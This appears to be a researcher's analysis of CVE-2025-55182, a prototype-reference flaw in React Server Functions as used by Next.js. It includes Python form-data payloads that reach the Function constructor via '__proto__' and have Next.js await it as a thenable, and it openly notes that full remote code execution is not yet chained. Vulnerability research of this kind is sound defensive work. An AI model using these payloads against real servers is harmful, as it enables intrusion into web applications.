## https://sploitus.com/exploit?id=7329EAC1-2050-5910-88E4-9D838C410AFE
# CVE-2025-55182
This vulnerability allows RCE in React Server Functions, e.g. as
offered by Next.js through insecure prototype references.
I'm not an expert in React or Next.js, so take all the information
here with a grain of salt. Furthermore, I'm still in the analysis
process, so what I depict below as "the vulnerability" might only
be a small part of the full chain.
## Background
React offers Server Functions[^1], which can be seen as sort of an RPC-
over-HTTP. They can be used to fetch data from adjacent peers to ensure
low latency, or perform authenticated requests that the client lacks
credentials for.
React uses something called the React Flight Protocol[^2] for serialization
of values passed to Server Functions.
The client passes "chunks" to the server, e.g. via form data:
```py
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
```
As shown, these can have references in between each other.
The above payload deserializes to the following on the server:
```js
{ object: 'fruit', name: 'cherry' }
```
The format itself is a little more intricate and allows for more
complex serialization and deserialization, but this provides a
basic understanding for the actual vulnerability.
## Vulnerability
Until this commit[^3], when traversing chunks in reference resolving,
such as getting the `fruitName` from chunk 2 in the above example, React
didn't verify whether the requested key was actually set on the object.
This allowed us to get the object prototype[^4].
This can be demonstrated with a payload like this:
```py
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
```
Which deserializes to the function constructor[^5]:
```js
[Function: Function]
```
When the chunk with ID 0 is not an array but an object, we can
set the `then` key to the function constructor. The object is then
returned by the `decodeReplyFromBusboy` function and awaited by Next.js:
```ts
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
```
When this returns a thenable, the `await` in the caller will call it.
This is what happens with this payload:
```py
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
```
Leading to this error:
```console-out
SyntaxError: Unexpected token 'function'
at Object.Function [as then] () {
digest: '1259793845'
}
```
The error looks like this since V8 calls an `await`ed function
with the internal `resolve` and `reject` functions, which, when
`toString`ed, serialize to something like this:
```js
function () { [native code] }
```
## Standing questions
- Why does the React advisory[^6] mention that this vulnerability could be
triggered even without actively declaring server functions? Are there
other things that turn to server functions under the hood?
- How to properly chain this to RCE? For that, probably, another function
that's called on the deserialized object (other than `.then()`) would
need to be found, or a sink where `.then()` is called with controlled
arguments.
[^1]:
[^2]:
[^3]:
[^4]:
[^5]:
[^6]: